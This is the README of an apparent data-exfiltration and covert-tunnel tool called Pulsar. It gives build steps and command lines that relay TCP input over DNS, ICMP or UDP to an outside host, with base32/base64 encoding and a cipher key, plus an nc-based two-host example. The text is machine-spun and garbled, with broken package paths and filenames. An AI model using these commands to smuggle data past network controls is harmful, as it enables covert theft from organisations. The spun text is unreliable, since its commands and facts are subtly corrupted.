Pulsar is a instrument for information exfiltration and covert communication that allow you to create a safe information switch, a weird chat or a community tunnel by totally different protocols, for instance you possibly can obtain information from tcp connection and resend it to actual vacation spot by DNS packets.
Be sure you have a minimum of Go 1.8 in your system to construct Pulsar
First, getting the code from repository and compile it with following command:
$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/web/icmp
$ go construct -o bin/pulsar src/important.go
or run:
A connector is an easy channel to the exterior world, with the connector you possibly can learn and write information from totally different sources.
- Console:
- Default in/out connector, learn information from stdin and write to stdout
- TCP
- UDP
- ICMP
- DNS
You should utilize choice –in with a view to choose enter connector and choice –out to pick out output connector:
--in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989
A handler lets you change information in transit, you possibly can mix handlers arbitrarily.
-
Stub:
- Default, do nothing, go by
-
Base32
-
Base32 encoder/decoder
-
-
Base64
-
Base64 encoder/decoder
-
-
Cipher
You should utilize the –decode choice to make use of ALL handlers in decoding mode
--handlers base64,base32,base64,cipher:key --decode
Within the following instance Pulsar will likely be used to create a safe two-way tunnel on DNS protocol, information will likely be learn from TCP connection (easy nc consumer) and resend encrypted by the tunnel.
[nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]
192.168.1.198:
$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000
192.168.1.199:
$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:[email protected]:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
All contributions are all the time welcome